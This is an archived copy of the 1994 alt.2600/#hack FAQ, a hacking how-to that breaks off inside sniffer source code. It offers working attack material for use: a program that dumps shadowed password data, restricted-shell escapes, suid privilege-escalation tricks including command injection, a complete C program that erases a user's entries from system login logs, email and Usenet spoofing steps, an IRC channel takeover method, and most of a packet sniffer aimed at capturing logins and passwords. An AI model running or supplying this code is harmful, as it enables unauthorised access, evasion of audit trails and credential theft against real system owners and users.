home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / HackintoshBiblev1.3.sit / Hackintosh Bible v1.3.rsrc / TEXT_131.txt < prev    next >
Internet Message Format  |  1996-11-10  |  33KB

  1. From will@gnu.ai.mit.edu (Will Spencer)
  2. Newsgroups: alt.2600,alt.answers,news.answers
  3. Subject: alt.2600 FAQ, Beta .010 - Part 1/1
  4. Followup-To: alt.2600
  5. Reply-To: will@gnu.ai.mit.edu (FAQ Comments address)
  6. Summary: This posting contains a list of Frequently Asked
  7.      Questions (and their answers) about hacking.  It
  8.      should be read by anyone who wishes to post to the
  9.      alt.2600 newsgroup or use the IRC channel #hack.
  10.  
  11. Archive-name: alt-2600-faq
  12. Posting-Frequency: Random
  13. Last-Modified: 1994/12/18
  14. Version: Beta .010
  15.  
  16.  
  17. Editors Note: Welcome to Beta .010 of the alt.2600/#hack FAQ!
  18.  
  19.               Eleet greets go out to Outsider for producing an
  20.               excellent WWW version of this document at:
  21.               http://www.engin.umich.edu/~jgotts/hack-faq.html
  22.  
  23.               The purpose of this FAQ is to give you a general
  24.               introduction to the topics covered in alt.2600 and
  25.               #hack.  No document will make you a hacker.
  26.  
  27.               If you have a questions regarding any of the topics
  28.               covered in the FAQ, please direct it to alt.2600 or
  29.               #hack.  Please do not e-mail me with them, I'm getting
  30.               swamped.
  31.  
  32.               If your copy of the #hack FAQ does not end with the
  33.               letters EOT on a line by themselves, you do not have the
  34.               entire FAQ.
  35.  
  36.  
  37.                                  ** BETA **
  38.  
  39.                              Beta Revision .010
  40.  
  41.                 alt.2600/#Hack F.A.Q.
  42.  
  43.                         A TNO Communication Production
  44.  
  45.                                     by
  46.                   Voyager
  47.                 will@gnu.ai.mit.edu
  48.  
  49.                 Sysop of
  50.                  Hacker's Haven
  51.                   (303)343-4053
  52.  
  53.                With special thanks to:
  54.  
  55.         A-Flat, Al, Aleph1, Bluesman, C-Curve, DeadKat, Edison,
  56.         Hobbit, KCrow, Major, Marauder, Novocain, Outsider, Presence,
  57.         Rogue Agent, sbin, Taran King, Tomes and TheSaint.
  58.  
  59.  
  60.                We work in the dark
  61.                We do what we can
  62.                We give what we have
  63.                Our doubt is our passion,
  64.                and our passion is our task
  65.                The rest is the madness of art.
  66.  
  67.                 -- Henry James
  68.  
  69.  
  70.  
  71. Section A: Computers
  72.  
  73.   01. How do I access the password file under Unix?
  74. U 02. How do I crack Unix passwords?
  75.   03. What is password shadowing?
  76.   04. Where can I find the password file if it's shadowed?
  77.   05. What is NIS/yp?
  78.   06. What are those weird characters after the comma in my passwd file?
  79.   07. How do I access the password file under VMS?
  80.   08. How do I crack VMS passwords?
  81.   09. How do I break out of a restricted shell?
  82.   10. How do I gain root from a suid script or program?
  83.   11. How do I erase my presence from the system logs?
  84.   12. How do I send fakemail?
  85.   13. How do I fake posts to UseNet?
  86.   14. How do I hack ChanOp on IRC?
  87.   15. How do I modify the IRC client to hide my real username?
  88. U 16. How to I change to directories with strange characters in them?
  89.   17. What is ethernet sniffing?
  90.   18. What is an Internet Outdial?
  91.   19. What are some Internet Outdials?
  92. U 20. What is this system?
  93. U 21. What are the default accounts for XXX ?
  94.   22. What port is XXX on?
  95.   23. What is a trojan/worm/virus/logic bomb?
  96. U 24. How can I protect myself from virii and such?
  97.   25. What is Cryptoxxxxxxx?
  98.   26. What is PGP?
  99. U 27. What is Tempest?
  100.   28. What is an anonymous remailer?
  101.   29. What are the addresses of some anonymous remailers?
  102.   30. How do I defeat copy protection?
  103.   31. What is 127.0.0.1?
  104.  
  105.  
  106. Section B: Telephony
  107.  
  108. U 01. What is a Red Box?
  109. U 02. How do I build a Red Box?
  110.   03. Where can I get a 6.5536Mhz crystal?
  111.   04. Which payphones will a Red Box work on?
  112. N 05. How do I make local calls with a Red Box?
  113. U 06. What is a Blue Box?
  114.   07. Do Blue Boxes still work?
  115.   08. What is a Black Box?
  116. U 09. What do all the colored boxes do?
  117.   10. What is an ANAC number?
  118.   11. What is the ANAC number for my area?
  119.   12. What is a ringback number?
  120. U 13. What is the ringback number for my area?
  121.   14. What is a loop?
  122. U 15. What is a loop in my area?
  123. U 16. What is a CNA number?
  124. U 17. What is the telephone company CNA number for my area?
  125. U 18. What are some numbers that always ring busy?
  126. U 19. What are some numbers that temporarily disconnect phone service?
  127.   20. What is scanning?
  128.   21. Is scanning illegal?
  129.   22. Where can I purchase a lineman's handset?
  130.   23. What are the DTMF frequencies?
  131.   24. What are the frequencies of the telephone tones?
  132. U 25. What are all of the * codes?
  133.   26. What frequencies do cordless phones operate on?
  134.  
  135.  
  136. Section C: Resources
  137.  
  138. U 01. What are some ftp sites of interest to hackers?
  139. U 02. What are some newsgroups of interest to hackers?
  140. U 03. What are some telnet sites of interest to hackers?
  141. U 04. What are some gopher sites of interest to hackers?
  142. U 05. What are some World wide Web (WWW) sites of interest to hackers?
  143.   06. What are some IRC channels of interest to hackers?
  144. U 07. What are some BBS's of interest to hackers?
  145. U 08. What books are available on this subject?
  146. U 09. What are some mailing lists of interest to hackers?
  147. U 10. What are some print magazines of interest to hackers?
  148. U 11. What are some organizations of interest to hackers?
  149.   12. Where can I purchase a magnetic stripe encoder/decoder?
  150. N 13. What are the rainbow books and how can I get them?
  151.  
  152.  
  153. Section D: 2600
  154.  
  155.   01. What is alt.2600?
  156.   02. What does "2600" mean?
  157.   03. Are there on-line versions of 2600 available?
  158.   04. I can't find 2600 at any bookstores.  What can I do?
  159.   05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
  160.  
  161.  
  162. Section E: Miscellaneous
  163.  
  164.   01. What does XXX stand for?
  165.   02. How do I determine if I have a valid credit card number?
  166.   03. What bank issued this credit card?
  167.   04. What are the ethics of hacking?
  168. U 05. Where can I get a copy of the alt.2600/#hack FAQ?
  169.  
  170.  
  171.  
  172. U == Updated since last release of the #hack FAQ
  173. N == New since last release of the #hack FAQ
  174.  
  175.  
  176.  
  177.  
  178. Section A: Computers
  179. ~~~~~~~~~~~~~~~~~~~~
  180.  
  181. 01. How do I access the password file under Unix?
  182.  
  183. In standard Unix the password file is /etc/passwd.  On a Unix system
  184. with either NIS/yp or password shadowing, much of the password data
  185. may be elsewhere.
  186.  
  187.  
  188. 02. How do I crack Unix passwords?
  189.  
  190. Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
  191. passwords are encrypted with a one way function.  The login program
  192. encrypts the text you enter at the "password:" prompt and compares
  193. that encrypted string against the encrypted form of your password.
  194.  
  195. Password cracking software uses wordlists.  Each word in the wordlist
  196. is encrypted and the results are compared to the encrypted form of the
  197. target password.
  198.  
  199. The best cracking program for Unix passwords is currently Crack by
  200. Alec Muffett.  For PC-DOS, the best package to use is currently
  201. CrackerJack.
  202.  
  203.  
  204. 03. What is password shadowing?
  205.  
  206. Password shadowing is a security system where the encrypted password
  207. field of /etc/passwd is replaced with a special token and the
  208. encrypted password is stored in a separate file which is not readable
  209. by normal system users.
  210.  
  211. To defeat password shadowing on many (but not all) systems, write a
  212. program that uses successive calls to getpwent() to obtain the
  213. password file.
  214.  
  215. Example:
  216.  
  217. #include <pwd.h>
  218. main()
  219. {
  220. struct passwd *p;
  221. while(p=getpwent())
  222. printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
  223. p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
  224. }
  225.  
  226.  
  227. 04. Where can I find the password file if it's shadowed?
  228.  
  229. Unix                  Path                            Token
  230. -----------------------------------------------------------------
  231. AIX 3                 /etc/security/passwd            !
  232.        or             /tcb/auth/files/<first letter   #
  233.                             of username>/<username>
  234. A/UX 3.0s             /tcb/files/auth/?/*
  235. BSD4.3-Reno           /etc/master.passwd              *
  236. ConvexOS 10           /etc/shadpw                     *
  237. ConvexOS 11           /etc/shadow                     *
  238. DG/UX                 /etc/tcb/aa/user/               *
  239. EP/IX                 /etc/shadow                     x
  240. HP-UX                 /.secure/etc/passwd             *
  241. IRIX 5                /etc/shadow                     x
  242. Linux 1.1             /etc/shadow                     *
  243. OSF/1                 /etc/passwd[.dir|.pag]          *
  244. SCO Unix #.2.x        /tcb/auth/files/<first letter   *
  245.                             of username>/<username>
  246. SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
  247. SunOS 5.0             /etc/shadow
  248.                       <optional NIS+ private secure maps/tables/whatever>
  249. System V Release 4.0  /etc/shadow                     x
  250. System V Release 4.2  /etc/security/* database
  251. Ultrix 4              /etc/auth[.dir|.pag]            *
  252. UNICOS                /etc/udb                        *
  253.  
  254.  
  255. 05. What is NIS/yp?
  256.  
  257. NIS (Network Information System) in the current name for what was once
  258. known as yp (Yellow Pages).  The purpose for NIS is to allow many
  259. machines on a network to share configuration information, including
  260. password data.  NIS is not designed to promote system security.  If
  261. your system uses NIS you will have a very short /etc/passwd file that
  262. includes a line that looks like this:
  263.  
  264. +::0:0:::
  265.  
  266. To view the real password file use this command "ypcat passwd"
  267.  
  268.  
  269. 06. What are those weird characters after the comma in my passwd file?
  270.  
  271. The characters are password aging data.  Password aging forces the
  272. user to change passwords after a System Administrator specified period
  273. of time.  Password aging can also force a user to keep a password for
  274. a certain number of weeks before changing it.
  275.  
  276. ]
  277. ] Sample entry from /etc/passwd with password aging installed:
  278. ]
  279. ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
  280. ]
  281.  
  282. Note the comma in the encrypted password field.  The characters after
  283. the comma are used by the password aging mechanism.
  284.  
  285. ]
  286. ] Password aging characters from above example:
  287. ]
  288. ] M.z8
  289. ]
  290.  
  291. The four characters are interpreted as follows:
  292.  
  293.   1: Maximum number of weeks a password can be used without changing.
  294.   2: Minimum number of weeks a password must be used before changing.
  295. 3&4: Last time password was changed, in number of weeks since 1970.
  296.  
  297. Three special cases should be noted:
  298.  
  299. If the first and second characters are set to '..' the user will be
  300. forced to change his/her passwd the next time he/she logs in.  The
  301. passwd program will then remove the passwd aging characters, and the
  302. user will not be subjected to password aging requirements again.
  303.  
  304. If the third and fourth characters are set to '..' the user will be
  305. forced to change his/her passwd the next time he/she logs in. Password
  306. aging will then occur as defined by the first and second characters.
  307.  
  308. If the first character (MAX) is less than the second character (MIN),
  309. the user is not allowed to change his/her password.  Only root can
  310. change that users password.
  311.  
  312. It should also be noted that the su command does not check the password
  313. aging data.  An account with an expired password can be su'd to
  314. without being forced to change the password.
  315.  
  316.  
  317.                         Password Aging Codes
  318. +------------------------------------------------------------------------+
  319. |                                                                        |
  320. | Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
  321. |    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
  322. |                                                                        |
  323. | Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
  324. |    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
  325. |                                                                        |
  326. | Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
  327. |    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
  328. |                                                                        |
  329. | Character:  w  x  y  z                                                 |
  330. |    Number: 60 61 62 63                                                 |
  331. |                                                                        |
  332. +------------------------------------------------------------------------+
  333.  
  334.  
  335. 07. How do I access the password file under VMS?
  336.  
  337. Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
  338. unlike Unix, most users do not have access to read the password file.
  339.  
  340.  
  341. 08. How do I crack VMS passwords?
  342.  
  343. Write a program that uses the SYS$GETUAF functions to compare the
  344. results of encrypted words against the encrypted data in SYSUAF.DAT.
  345.  
  346. Two such programs are known to exist, CHECK_PASSWORD and
  347. GUESS_PASSWORD.
  348.  
  349.  
  350. 09. How do I break out of a restricted shell?
  351.  
  352. On poorly implemented restricted shells you can break out of the
  353. restricted environment by running a program that features a shell
  354. function.  A good example is vi.  Run vi and use this command:
  355.  
  356. :set shell=/bin/sh
  357.  
  358. then shell using this command:
  359.  
  360. :shell
  361.  
  362.  
  363. 10. How do I gain root from a suid script or program?
  364.  
  365. 1. Change IFS.
  366.  
  367. If the program calls any other programs using the system() function
  368. call, you may be able to fool it by changing IFS.  IFS is the Internal
  369. Field Separator that the shell uses to delimit arguments.
  370.  
  371. If the program contains a line that looks like this:
  372.  
  373. system("/bin/date")
  374.  
  375. and you change IFS to '/' the shell will them interpret the
  376. proceeding line as:
  377.  
  378. bin date
  379.  
  380. Now, if you have a program of your own in the path called "bin" the
  381. suid program will run your program instead of /bin/date.
  382.  
  383. To change IFS, use this command:
  384.  
  385. IFS='/';export IFS      # Bourne Shell
  386. setenv IFS '/'          # C Shell
  387. export IFS='/'          # Korn Shell
  388.  
  389.  
  390. 2. link the script to -i
  391.  
  392. Create a symbolic link named "-i" to the program.  Running "-i"
  393. will cause the interpreter shell (/bin/sh) to start up in interactive
  394. mode.  This only works on suid shell scripts.
  395.  
  396. Example:
  397.  
  398. % ln suid.sh -i
  399. % -i
  400. #
  401.  
  402.  
  403. 3. Exploit a race condition
  404.  
  405. Replace a symbolic link to the program with another program while the
  406. kernel is loading /bin/sh.
  407.  
  408. Example:
  409.  
  410. nice -19 suidprog ; ln -s evilprog suidroot
  411.  
  412.  
  413. 4. Send bad input to the program.
  414.  
  415. Invoke the name of the program and a separate command on the same
  416. command line.
  417.  
  418. Example:
  419.  
  420. suidprog ; id
  421.  
  422.  
  423. 11. How do I erase my presence from the system logs?
  424.  
  425. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
  426. files that can be edited by hand with vi, you must use a program
  427. specifically written for this purpose.
  428.  
  429. Example:
  430.  
  431. #include <sys/types.h>
  432. #include <stdio.h>
  433. #include <unistd.h>
  434. #include <sys/file.h>
  435. #include <fcntl.h>
  436. #include <utmp.h>
  437. #include <pwd.h>
  438. #include <lastlog.h>
  439. #define WTMP_NAME "/usr/adm/wtmp"
  440. #define UTMP_NAME "/etc/utmp"
  441. #define LASTLOG_NAME "/usr/adm/lastlog"
  442.  
  443. int f;
  444.  
  445. void kill_utmp(who)
  446. char *who;
  447. {
  448.     struct utmp utmp_ent;
  449.  
  450.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  451.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  452.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  453.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  454.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  455.                  write (f, &utmp_ent, sizeof (utmp_ent));
  456.             }
  457.      close(f);
  458.   }
  459. }
  460.  
  461. void kill_wtmp(who)
  462. char *who;
  463. {
  464.     struct utmp utmp_ent;
  465.     long pos;
  466.  
  467.     pos = 1L;
  468.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  469.  
  470.      while(pos != -1L) {
  471.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  472.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  473.           pos = -1L;
  474.         } else {
  475.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  476.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  477.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  478.                write (f, &utmp_ent, sizeof (utmp_ent));
  479.                pos = -1L;
  480.           } else pos += 1L;
  481.         }
  482.      }
  483.      close(f);
  484.   }
  485. }
  486.  
  487. void kill_lastlog(who)
  488. char *who;
  489. {
  490.     struct passwd *pwd;
  491.     struct lastlog newll;
  492.  
  493.      if ((pwd=getpwnam(who))!=NULL) {
  494.  
  495.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  496.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  497.             bzero((char *)&newll,sizeof( newll ));
  498.             write(f, (char *)&newll, sizeof( newll ));
  499.             close(f);
  500.         }
  501.  
  502.     } else printf("%s: ?\n",who);
  503. }
  504.  
  505. main(argc,argv)
  506. int argc;
  507. char *argv[];
  508. {
  509.     if (argc==2) {
  510.         kill_lastlog(argv[1]);
  511.         kill_wtmp(argv[1]);
  512.         kill_utmp(argv[1]);
  513.         printf("Zap2!\n");
  514.     } else
  515.     printf("Error.\n");
  516. }
  517.  
  518.  
  519. 12. How do I send fakemail?
  520.  
  521. Telnet to port 25 of the machine you want the mail to appear to
  522. originate from.  Enter your message as in this example:
  523.  
  524.  HELO bellcore.com
  525.  MAIL FROM:Voyager@bellcore.com
  526.  RCPT TO:president@whitehouse.gov
  527.  DATA
  528.  
  529.     Please discontinue your silly Clipper initiative.
  530.  .
  531.  QUIT
  532.  
  533. On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
  534. line will not work.  Test by sending yourself fakemail first.
  535.  
  536. For more informationm read RFC 822 "Standard for the format of ARPA
  537. Internet text messages."
  538.  
  539.  
  540. 13. How do I fake posts to UseNet?
  541.  
  542. Use inews to post.  Give inews the following lines:
  543.  
  544.  From:
  545.  Newsgroups:
  546.  Subject:
  547.  Message-ID:
  548.  Date:
  549.  Organization:
  550.  
  551. For a moderated newsgroup, inews will also require this line:
  552.  
  553.  Approved:
  554.  
  555. Then add your post and terminate with <Control-D>.
  556.  
  557. Example:
  558.  
  559.  From: Eric S. Real
  560.  Newsgroups: alt.hackers
  561.  Subject: Pathetic bunch of wannabe losers
  562.  Message-ID: <esr.123@locke.ccil.org>
  563.  Date: Fri, 13 Aug 1994 12:15:03
  564.  Organization: Moral Majority
  565.  
  566.  A pathetic bunch of wannabe losers is what most of you are, with no
  567.  right to steal the honorable title of `hacker' to puff up your silly
  568.  adolescent egos. Get stuffed, get lost, and go to jail.
  569.  
  570.                                         Eric S. Real <esr@locke.ccil.org>
  571.  
  572.  
  573.  ^D
  574.  
  575. Note that many systems will append an Originator: line to your message
  576. header, effectively revealing the account from which the message was
  577. posted.
  578.  
  579.  
  580. 14. How do I hack ChanOp on IRC?
  581.  
  582. Find a server that is split from the rest of IRC and create your own
  583. channel there using the name of the channel you want ChanOp on.  When
  584. that server reconnects to the net, you will have ChanOp on the real
  585. channel.  If you have ServerOp on a server, you can cause it to split
  586. on purpose.
  587.  
  588.  
  589. 15. How do I modify the IRC client to hide my real username?
  590.  
  591. Get the IRC client from cs.bu.edu /irc/clients.  Look at the source
  592. code files irc.c and ctcp.c.  The code you are looking for is fairly
  593. easy to spot.  Change it. Change the username code in irc.c and the
  594. ctcp information code in ctcp.c.  Compile and run your client.
  595.  
  596. Here are the diffs from a sample hack of the IRC client.  Your client
  597. code will vary slightly depending on what IRC client version you are
  598. running.
  599.  
  600. *** ctcp.c.old  Wed Feb 10 10:08:05 1993
  601. --- ctcp.c      Fri Feb 12 04:33:55 1993
  602. ***************
  603. *** 331,337 ****
  604.     struct  passwd  *pwd;
  605.     long    diff;
  606.     int     uid;
  607. !       char    c;
  608.   
  609.     /*
  610.      * sojge complained that ircII says 'idle 1 seconds'
  611. --- 331,337 ----
  612.     struct  passwd  *pwd;
  613.     long    diff;
  614.     int     uid;
  615. !       char    c, *fing;
  616.   
  617.     /*
  618.      * sojge complained that ircII says 'idle 1 seconds'
  619. ***************
  620. *** 348,354 ****
  621.     if (uid != DAEMON_UID)
  622.     {
  623.   #endif /* DAEMON_UID */       
  624. !               if (pwd = getpwuid(uid))
  625.         {
  626.             char    *tmp;
  627.   
  628. --- 348,356 ----
  629.     if (uid != DAEMON_UID)
  630.     {
  631.   #endif /* DAEMON_UID */       
  632. !               if (fing = getenv("IRCFINGER"))
  633. !                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
  634. !               else if (pwd = getpwuid(uid))
  635.         {
  636.             char    *tmp;
  637.   
  638. *** irc.c.old   Wed Feb 10 06:33:11 1993
  639. --- irc.c       Fri Feb 12 04:02:11 1993
  640. ***************
  641. *** 510,516 ****
  642.         malloc_strcpy(&my_path, "/");
  643.     if (*realname == null(char))
  644.         strmcpy(realname, "*Unknown*", REALNAME_LEN);
  645. !       if (*username == null(char))
  646.     {
  647.         if (ptr = getenv("USER"))
  648.             strmcpy(username, ptr, NAME_LEN);
  649. --- 510,518 ----
  650.         malloc_strcpy(&my_path, "/");
  651.     if (*realname == null(char))
  652.         strmcpy(realname, "*Unknown*", REALNAME_LEN);
  653. !       if (ptr = getenv("IRCUSER"))
  654. !               strmcpy(username, ptr, NAME_LEN);
  655. !       else if (*username == null(char))
  656.     {
  657.         if (ptr = getenv("USER"))
  658.             strmcpy(username, ptr, NAME_LEN);
  659.  
  660.  
  661. 16. How to I change to directories with strange characters in them?
  662.  
  663. These directories are often used by people trying to hide information,
  664. most often warez (commercial software).
  665.  
  666. There are several things you can do to determine what these strange
  667. characters are.  One is to use the arguments to the ls command that
  668. cause ls to give you more information:
  669.  
  670. From the man page for ls:
  671.  
  672.     -F   Causes directories to be marked with a trailing ``/'',
  673.      executable files to be marked with a trailing ``*'', and
  674.      symbolic links to be marked with a trailing ``@'' symbol.
  675.  
  676.     -q   Forces printing of non-graphic characters in filenames as the
  677.      character ``?''.
  678.  
  679.     -b   Forces printing of non-graphic characters in the \ddd
  680.      notation, in octal.
  681.  
  682. Perhaps the most useful tool is to simply do an "ls -al filename" to
  683. save the directory of the remote ftp site as a file on your local
  684. machine.  Then you can do a "cat -t -v -e filename" too see exactly
  685. what those bizarre little characters are.
  686.  
  687. From the man page for cat:
  688.  
  689.     -v  Causes non-printing characters (with the exception of tabs,
  690.     newlines, and form feeds) to be displayed.  Control characters
  691.     are displayed as ^X (<Ctrl>x), where X is the key pressed with
  692.     the <Ctrl> key (for example, <Ctrl>m is displayed as ^M).  The
  693.     <Del> character (octal 0177) is printed as ^?.  Non-ASCII
  694.     characters (with the high bit set) are printed as M -x, where
  695.     x is the character specified by the seven low order bits.
  696.  
  697.     -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
  698.     option is ignored if the -v option is not specified.
  699.  
  700.     -e  Causes a ``$'' character to be printed at the end of each line
  701.     (prior to the new-line).  This option is ignored if the -v
  702.     option is not set.
  703.  
  704. If the directory name includes a <SPACE> or a <TAB> you will need to
  705. enclose the entire directory name in quotes.  Example:
  706.  
  707. cd "..<TAB>"
  708.  
  709. On an IBM-PC, you may enter these special characters by holding down
  710. the <ALT> key and entering the decimal value of the special character
  711. on your numeric keypad.  When you release the <ALT> key, the special
  712. character should appear on your screen.  An ASCII chart can be very
  713. helpful.
  714.  
  715. Sometimes people will create directories with some of the standard
  716. stty control characters in them, such as ^Z (suspend) or ^C (intr).
  717. To get into those directories, you will first need to user stty to
  718. change the control character in qustion to another character.
  719.  
  720. From the man page for stty:
  721.  
  722.     Control assignments
  723.  
  724.     control-character C
  725.                       Sets control-character to C, where control-character is
  726.                       erase, kill, intr (interrupt), quit, eof, eol, swtch
  727.                       (switch), start, stop or susp.
  728.  
  729.                       start and stop are available as possible control char-
  730.                       acters for the control-character C assignment.
  731.  
  732.                       If C is preceded by a caret (^) (escaped from the
  733.                       shell), then the value used is the corresponding con-
  734.                       trol character (for example, ^D is a <Ctrl>d; ^? is
  735.                       interpreted as DELETE and ^- is interpreted as unde-
  736.                       fined).
  737.  
  738. Use the stty -a command to see your current stty settings, and to
  739. determine which one is causing you problems.
  740.  
  741.  
  742. 17. What is ethernet sniffing?
  743.  
  744. Ethernet sniffing is listening (with software) to the raw ethernet
  745. device for packets that interest you.  When your software sees a
  746. packet that fits certain criteria, it logs it to a file.  The most
  747. common criteria for an interesting packet is one that contains words
  748. like "login" or "password."
  749.  
  750. Many ethernet sniffers are available, here are a few that may be on
  751. your system now:
  752.  
  753. OS              Sniffer
  754. ~~              ~~~~~~~
  755. HP/UX           nettl (monitor) & netfmt (display)
  756.                 nfswatch        /* Available via anonymous ftp           */
  757. Irix            nfswatch        /* Available via anonymous ftp           */
  758.                 Etherman
  759. SunOS           etherfind
  760.                 nfswatch        /* Available via anonymous ftp           */
  761. Solaris         snoop
  762. DOS             ETHLOAD         /* Available via anonymous ftp as        */
  763.                                 /* ethld104.zip                          */
  764.                 The Gobbler     /* Available via anonymous ftp           */
  765.                 LanPatrol
  766.                 LanWatch
  767.         Netmon
  768.                 Netwatch
  769.                 Netzhack        /* Available via anonymous ftp at        */
  770.                                 /* mistress.informatik.unibw-muenchen.de */
  771.                                 /* /pub/netzhack.mac                     */
  772. Macintosh       Etherpeek
  773.  
  774. Here is source code for an ethernet sniffer:
  775.  
  776. /* Esniff.c */
  777.  
  778. #include <stdio.h>
  779. #include <ctype.h>
  780. #include <string.h>
  781.  
  782. #include <sys/time.h>
  783. #include <sys/file.h>
  784. #include <sys/stropts.h>
  785. #include <sys/signal.h>
  786. #include <sys/types.h>
  787. #include <sys/socket.h>
  788. #include <sys/ioctl.h>
  789.  
  790. #include <net/if.h>
  791. #include <net/nit_if.h>
  792. #include <net/nit_buf.h>
  793. #include <net/if_arp.h>
  794.  
  795. #include <netinet/in.h>
  796. #include <netinet/if_ether.h>
  797. #include <netinet/in_systm.h>
  798. #include <netinet/ip.h>
  799. #include <netinet/udp.h>
  800. #include <netinet/ip_var.h>
  801. #include <netinet/udp_var.h>
  802. #include <netinet/in_systm.h>
  803. #include <netinet/tcp.h>
  804. #include <netinet/ip_icmp.h>
  805.  
  806. #include <netdb.h>
  807. #include <arpa/inet.h>
  808.  
  809. #define ERR stderr
  810.  
  811. char    *malloc();
  812. char    *device,
  813.         *ProgName,
  814.         *LogName;
  815. FILE    *LOG;
  816. int     debug=0;
  817.  
  818. #define NIT_DEV     "/dev/nit"
  819. #define CHUNKSIZE   4096        /* device buffer size */
  820. int     if_fd = -1;
  821. int     Packet[CHUNKSIZE+32];
  822.  
  823. void Pexit(err,msg)
  824. int err; char *msg;
  825. { perror(msg);
  826.   exit(err); }
  827.  
  828. void Zexit(err,msg)
  829. int err; char *msg;
  830. { fprintf(ERR,msg);
  831.   exit(err); }
  832.  
  833. #define IP          ((struct ip *)Packet)
  834. #define IP_OFFSET   (0x1FFF)
  835. #define SZETH       (sizeof(struct ether_header))
  836. #define IPLEN       (ntohs(ip->ip_len))
  837. #define IPHLEN      (ip->ip_hl)
  838. #define TCPOFF      (tcph->th_off)
  839. #define IPS         (ip->ip_src)
  840. #define IPD         (ip->ip_dst)
  841. #define TCPS        (tcph->th_sport)
  842. #define TCPD        (tcph->th_dport)
  843. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  844.  
  845. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  846.  
  847. #define MAXBUFLEN  (128)
  848. time_t  LastTIME = 0;
  849.  
  850. struct CREC {
  851.      struct CREC *Next,
  852.                  *Last;
  853.      time_t  Time;              /* start time */
  854.      struct in_addr SRCip,
  855.                     DSTip;
  856.      u_int   SRCport,           /* src/dst ports */
  857.              DSTport;
  858.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  859.      u_int   Length;            /* current data length */
  860.      u_int   PKcnt;             /* # pkts */
  861.      u_long  LASTseq;
  862. };
  863.  
  864. struct CREC *CLroot = NULL;
  865.  
  866. char *Symaddr(ip)
  867. register struct in_addr ip;
  868. { register struct hostent *he =
  869.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  870.  
  871.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  872. }
  873.  
  874. char *TCPflags(flgs)
  875. register u_char flgs;
  876. { static char iobuf[8];
  877. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  878.  
  879.   SFL(0,TH_FIN, 'F');
  880.   SFL(1,TH_SYN, 'S');
  881.   SFL(2,TH_RST, 'R');
  882.   SFL(3,TH_PUSH,'P');
  883.   SFL(4,TH_ACK, 'A');
  884.   SFL(5,TH_URG, 'U');
  885.   iobuf[6]=0;
  886.   return(iobuf);
  887. }
  888.  
  889. char *SERVp(port)
  890. register u_int port;
  891. { static char buf[10];
  892.   register char *p;
  893.  
  894.    switch(port) {
  895.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  896.      case IPPORT_TELNET:      p="telnet"; break;
  897.      case IPPORT_SMTP:        p="smtp"; break;
  898.      case IPPORT_FTP:         p="ftp"; break;
  899.      default: sprintf(buf,"%u",port); p=buf; break;
  900.    }
  901.    return(p);
  902. }
  903.  
  904. char *Ptm(t)
  905. register time_t *t;
  906. { register char *p = ctime(t);
  907.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  908.   return(p);
  909. }
  910.  
  911. char *NOWtm()
  912. { time_t tm;
  913.   time(&tm);
  914.   return( Ptm(&tm) );
  915. }
  916.  
  917. #define MAX(a,b) (((a)>(b))?(a):(b))
  918. #define MIN(a,b) (((a)<(b))?(a):(b))
  919.  
  920. /* add an item */
  921. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  922.   register struct CREC *CLtmp = \
  923.         (struct CREC *)malloc(sizeof(struct CREC)); \
  924.   time( &(CLtmp->Time) ); \
  925.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  926.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  927.   CLtmp->SRCport = SPORT; \
  928.   CLtmp->DSTport = DPORT; \
  929.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  930.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  931.   CLtmp->PKcnt = 1; \
  932.   CLtmp->Next = CLroot; \
  933.   CLtmp->Last = NULL; \
  934.   CLroot = CLtmp; \
  935. }
  936.  
  937. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  938. register struct in_addr Sip,Dip;
  939. register u_int SP,DP;
  940. { register struct CREC *CLr = CLroot;
  941.  
